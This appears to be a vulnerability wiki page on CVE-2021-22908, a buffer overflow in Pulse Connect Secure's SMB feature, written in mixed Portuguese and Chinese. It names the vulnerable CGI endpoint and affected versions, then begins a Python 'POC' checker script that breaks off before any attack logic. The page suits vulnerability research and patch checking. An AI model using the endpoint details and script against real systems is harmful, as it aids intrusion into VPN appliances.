CVE-2021-22908_Pulse_Connect_Secure_任意代碼執行漏洞_pt

# CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/pt

== Descrição da vulnerabilidade ==

Como o PCS oferece suporte à conexão com o compartilhamento de arquivos do Windows (SMB), a função é fornecida por scripts CGI baseados nas bibliotecas Samba 4.5.10 e aplicativos auxiliares. Ao especificar um nome de servidor longo para certas operações SMB, o aplicativo smbclt pode travar devido ao estouro do buffer, dependendo do comprimento do nome do servidor especificado.

Foi confirmado que o sistema PCS 9.1R11.4 tem esta vulnerabilidade. O endpoint CGI alvo é /dana/fb/smb/wnf.cgi . Outros endpoints CGI também podem desencadear esta vulnerabilidade.

Se um invasor não conseguir limpar depois de explorar com êxito esta vulnerabilidade, especificar um nome de servidor longo pode resultar nas seguintes entradas de log de eventos PCS:

Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.
但要利用此漏洞,PCS服務器必須有一個允許\\*的Windows文件訪問策略或允許攻擊者連接到任意服務器的其他策略。可以在PCS的管理頁面中,查看用戶->資源策略->Windows 文件訪問策略,來查看當前的SMB策略。9.1R2及之前的PCS設備使用允許連接到任意SMB主機的默認策略,從9.1R3開始,這個策略從默認允許更改為默認拒絕。
==影響範圍==

Pulse Connect Secure 9.0RX and 9.1RX

==POC==

#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass

parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')

args = parser.parse_args()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class formvaluefinder(HTMLParser):
    def __init__(self, searchval):
        super(type (self), self).__init__()
        self.searchval = searchval
    def handle_starttag(self, tag, attrs):
        if tag == 'input':
            # We're just looking for form  tags
            foundelement = False
            for attr in attrs:
                if(attr[0] == 'name'):
                    if(attr[1] == self.searchval):
                        foundelement = True
                elif(attr[0] == 'value' and foundelement == True):
                     self.data = attr[1]

class preauthfinder(HTMLParser):
    foundelement = False
    def handle_starttag(self, tag, attrs):
        if tag == 'textarea':
            # We're just looking for